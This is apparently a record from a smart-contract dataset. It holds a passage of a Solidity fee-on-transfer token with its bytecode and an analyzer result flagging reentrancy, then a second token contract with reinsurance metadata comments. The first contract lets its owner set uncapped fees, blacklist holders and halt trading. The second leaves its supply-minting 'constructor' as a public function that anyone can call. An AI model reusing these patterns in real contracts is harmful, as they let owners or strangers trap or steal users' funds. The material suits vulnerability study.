uint256 public _maxWalletSize = 2500000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b357600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611956565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600c81526b4b69796f6d61736120496e7560a01b60208201525b60405161023c9190611a1b565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a70565b61069d565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b5067016345785d8a00005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611a9c565b6106b4565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611add565b61071d565b34801561037057600080fd5b506101fc61037f366004611b0a565b610768565b34801561039057600080fd5b506101fc6107b0565b3480156103a557600080fd5b506102c46103b4366004611add565b6107fb565b3480156103c557600080fd5b506101fc61081d565b3480156103da57600080fd5b506101fc6103e9366004611b25565b610891565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611add565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b0a565b6108c0565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b50604080518082019091526005815264244b494e5560d81b602082015261022f565b3480156104bf57600080fd5b506101fc6104ce366004611b25565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b3e565b610937565b3480156104ff57600080fd5b5061026561050e366004611a70565b610975565b34801561051f57600080fd5b5061026561052e366004611add565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b70565b6109d6565b34801561058457600080fd5b506102c4610593366004611bf4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b25565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611add565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c2d565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c62565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c8e565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611da6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c2d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c2d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c2d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c2d565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c2d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c2d565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c2d565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c2d565b60005b82811015610a71578160056000868685818110610a2257610a22611c62565b9050602002016020810190610a379190611add565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c8e565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c2d565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c2d565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611ca7565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611462565b600081848411156112145760405162461bcd60e51b81526004016106289190611a1b565b5060006112218486611cbf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d5611490565b90506112e183826114b3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c62565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ad9190611cd6565b816001815181106113c0576113c0611c62565b6001600160a01b0392831660209182029290920101526014546113e69130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141f908590600090869030904290600401611cf3565b600060405180830381600087803b15801561143957600080fd5b505af115801561144d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146f5761146f6114f5565b61147a848484611523565b80610a7157610a71600e54600c55600f54600d55565b600080600061149d61161a565b90925090506114ac82826114b3565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165a565b600c541580156115055750600d54155b1561150c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153587611688565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156790876116e5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115969086611727565b6001600160a01b0389166000908152600260205260409020556115b881611786565b6115c284836117d0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160791815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a000061163582826114b3565b8210156116515750506006549267016345785d8a000092509050565b90939092509050565b6000818361167b5760405162461bcd60e51b81526004016106289190611a1b565b5060006112218486611d64565b60008060008060008060008060006116a58a600c54600d546117f4565b92509250925060006116b5611490565b905060008060006116c88e878787611849565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117348385611ca7565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b6000611790611490565b9050600061179e8383611899565b306000908152600260205260409020549091506117bb9082611727565b30600090815260026020526040902055505050565b6006546117dd90836116e5565b6006556007546117ed9082611727565b6007555050565b600080808061180e60646118088989611899565b906114b3565b9050600061182160646118088a89611899565b90506000611839826118338b866116e5565b906116e5565b9992985090965090945050505050565b60008080806118588886611899565b905060006118668887611899565b905060006118748888611899565b905060006118868261183386866116e5565b939b939a50919850919650505050505050565b6000826000036118ab575060006106ae565b60006118b78385611d86565b9050826118c48583611d64565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195181611931565b919050565b6000602080838503121561196957600080fd5b823567ffffffffffffffff8082111561198157600080fd5b818501915085601f83011261199557600080fd5b8135818111156119a7576119a761191b565b8060051b604051601f19603f830116810181811085821117156119cc576119cc61191b565b6040529182528482019250838101850191888311156119ea57600080fd5b938501935b82851015611a0f57611a0085611946565b845293850193928501926119ef565b98975050505050505050565b600060208083528351808285015260005b81811015611a4857858101830151858201604001528201611a2c565b81811115611a5a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8357600080fd5b8235611a8e81611931565b946020939093013593505050565b600080600060608486031215611ab157600080fd5b8335611abc81611931565b92506020840135611acc81611931565b929592945050506040919091013590565b600060208284031215611aef57600080fd5b81356112e181611931565b8035801515811461195157600080fd5b600060208284031215611b1c57600080fd5b6112e182611afa565b600060208284031215611b3757600080fd5b5035919050565b60008060008060808587031215611b5457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8557600080fd5b833567ffffffffffffffff80821115611b9d57600080fd5b818601915086601f830112611bb157600080fd5b813581811115611bc057600080fd5b8760208260051b8501011115611bd557600080fd5b602092830195509350611beb9186019050611afa565b90509250925092565b60008060408385031215611c0757600080fd5b8235611c1281611931565b91506020830135611c2281611931565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca057611ca0611c78565b5060010190565b60008219821115611cba57611cba611c78565b500190565b600082821015611cd157611cd1611c78565b500390565b600060208284031215611ce857600080fd5b81516112e181611931565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d435784516001600160a01b031683529383019391830191600101611d1e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da057611da0611c78565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aac5d163a0908680bf2f56d6919fb87cb234c1dd6380eff4cbc137b8e89c2eb464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,988 |
0x23eae68fb03ced09ab460ff2b4cb08be751a7d18
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_XVIII_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_XVIII_883 " ;
string public symbol = " RE883XVIII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1495671977653760000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XVIII_metadata_line_1_____Sirius_Inter_Ins_Corp_Am_A_20250515 >
// < x3YHV01gIBOYqOL7yCZ3hT5Bs7oaarKDn1D27zFD6buyjFD05LP01y0uDr605laY >
// < 1E-018 limites [ 1E-018 ; 37910689,45243 ] >
// < 0x00000000000000000000000000000000000000000000000000000000E1F72105 >
// < RE_Portfolio_XVIII_metadata_line_2_____Sirius_International_20250515 >
// < Er4o4nq0k411bzblCxrYgXs6TW4A8279b8tNZEH7jwGUp1h4Kp85el0drWPogfeO >
// < 1E-018 limites [ 37910689,45243 ; 113948388,745289 ] >
// < 0x00000000000000000000000000000000000000000000000E1F721052A72F734E >
// < RE_Portfolio_XVIII_metadata_line_3_____Sirius_International_Managing_Agency_Limited_20250515 >
// < Qr32qWo8P8c599351UA7ahlePyufMPl5HaKJQsoa2DYlu5ro5S1o8KMOB060CCd5 >
// < 1E-018 limites [ 113948388,745289 ; 135618188,328164 ] >
// < 0x00000000000000000000000000000000000000000000002A72F734E32858F0C4 >
// < RE_Portfolio_XVIII_metadata_line_4_____Sirius_International_Managing_Agency_Limited_20250515 >
// < DA7A1IbV77F4z9wTGE2y6a36G9Rw3OH3V8hCx1MWoyZ5LSK3fhQIK369jTTMZPyz >
// < 1E-018 limites [ 135618188,328164 ; 165055861,16124 ] >
// < 0x000000000000000000000000000000000000000000000032858F0C43D7CF43B8 >
// < RE_Portfolio_XVIII_metadata_line_5_____SOGECAP_SA_Am_m_20250515 >
// < SBU9mONsdr6KYN496VBPM3Iexa9win38hCwX9JoXuCPA1bTj11Uvs8u1Ow6Zfp1H >
// < 1E-018 limites [ 165055861,16124 ; 181190672,278281 ] >
// < 0x00000000000000000000000000000000000000000000003D7CF43B8437FB084F >
// < RE_Portfolio_XVIII_metadata_line_6_____SOMPO_Japan_Insurance_Co_Ap_Ap_20250515 >
// < RULv3YQ4EJQbk10C5tN1kjM7sj1aX66TU8D61zA1DXBRNpdHY42nUK2OawuaktY5 >
// < 1E-018 limites [ 181190672,278281 ; 226276836,731109 ] >
// < 0x0000000000000000000000000000000000000000000000437FB084F544B70F4D >
// < RE_Portfolio_XVIII_metadata_line_7_____Sompo_Japan_Nipponkoa_20250515 >
// < FiKh79CcGI1277p5TR7J23LiV7S87V28Uak5uWei8111aJQ6L03nN62aN0A4zv3R >
// < 1E-018 limites [ 226276836,731109 ; 267738596,903903 ] >
// < 0x0000000000000000000000000000000000000000000000544B70F4D63BD8AF5E >
// < RE_Portfolio_XVIII_metadata_line_8_____South_Africa_BBBp_Santam_Limited_BBB_m_20250515 >
// < uw86OWJJdPDNLB8uR84Qd52a2kYrSwD0fyf2ZxcYRXe7kNGSwA875tL7dnh0vsH3 >
// < 1E-018 limites [ 267738596,903903 ; 302480770,305557 ] >
// < 0x000000000000000000000000000000000000000000000063BD8AF5E70AED08DA >
// < RE_Portfolio_XVIII_metadata_line_9_____Southern_Africa_Reinsurance_Company_20250515 >
// < nMGnVQO9qZ346u7s76a2b2S7jy6U2snK0mFO96B649wolI371VOHc3c1acd16EqB >
// < 1E-018 limites [ 302480770,305557 ; 317702125,065442 ] >
// < 0x000000000000000000000000000000000000000000000070AED08DA765A6FA8E >
// < RE_Portfolio_XVIII_metadata_line_10_____Spain_BBBp_Mapfre_Global_Risks_compania_Intenacional_de_Sguros_y_Reasegrous_SA_A_20250515 >
// < o02SNKt5D9mxm08XPysX3s0B8kSqw15F8W2Kps077Wt81Fri38EJuIx67dTEDZF3 >
// < 1E-018 limites [ 317702125,065442 ; 329967803,57596 ] >
// < 0x0000000000000000000000000000000000000000000000765A6FA8E7AEC2EB39 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XVIII_metadata_line_11_____Sportscover_Underwriting_Limited_20250515 >
// < PBdNZ1vn6gQ5161zX6Y6l5DyPUzyq31Oue707ERnmQg9m42L3JUVyncbJwCY18R0 >
// < 1E-018 limites [ 329967803,57596 ; 399633261,510476 ] >
// < 0x00000000000000000000000000000000000000000000007AEC2EB3994DFFF8BB >
// < RE_Portfolio_XVIII_metadata_line_12_____SRI_Re_20250515 >
// < PUPj7FKoM03MeLUR54b7WrsZB5N0Wdz93L251vJYvK6pbM5QNs059RBS61ZR1M5G >
// < 1E-018 limites [ 399633261,510476 ; 461878143,987474 ] >
// < 0x000000000000000000000000000000000000000000000094DFFF8BBAC1021FF2 >
// < RE_Portfolio_XVIII_metadata_line_13_____St_Paul_Re_20250515 >
// < fnKqub201HEiX08Yg27ABAHLPy7DbTTSsIW3hV5FRCDy1H8xWqC4laWb6mXBVCfN >
// < 1E-018 limites [ 461878143,987474 ; 523082850,302061 ] >
// < 0x0000000000000000000000000000000000000000000000AC1021FF2C2DD1185A >
// < RE_Portfolio_XVIII_metadata_line_14_____Starr_Insurance_&_Reinsurance_Limited_A_20250515 >
// < 055tX480nd3dSJfejO171qruCefE51cl7wLk2d35CnW1c1iNI4ap9bMk5Q3thQrI >
// < 1E-018 limites [ 523082850,302061 ; 580265369,388946 ] >
// < 0x0000000000000000000000000000000000000000000000C2DD1185AD82A6B1DE >
// < RE_Portfolio_XVIII_metadata_line_15_____Starr_International__Europe__Limited_A_20250515 >
// < kRm0CnfDkL2e47WVMT39ciIdo5R8Z97t60NTCLi4Ds33VykE6PpoJX3WXW75nT82 >
// < 1E-018 limites [ 580265369,388946 ; 611419061,594167 ] >
// < 0x0000000000000000000000000000000000000000000000D82A6B1DEE3C5774E3 >
// < RE_Portfolio_XVIII_metadata_line_16_____Starr_Managing_Agents_Limited_20250515 >
// < Mkz7u0ow7Yl12c71EUYj6oH49kT66A8T0X8sO1t744uR60674t5WeIIIUsh81Tt5 >
// < 1E-018 limites [ 611419061,594167 ; 622175064,534208 ] >
// < 0x0000000000000000000000000000000000000000000000E3C5774E3E7C73D089 >
// < RE_Portfolio_XVIII_metadata_line_17_____Starr_Managing_Agents_Limited_20250515 >
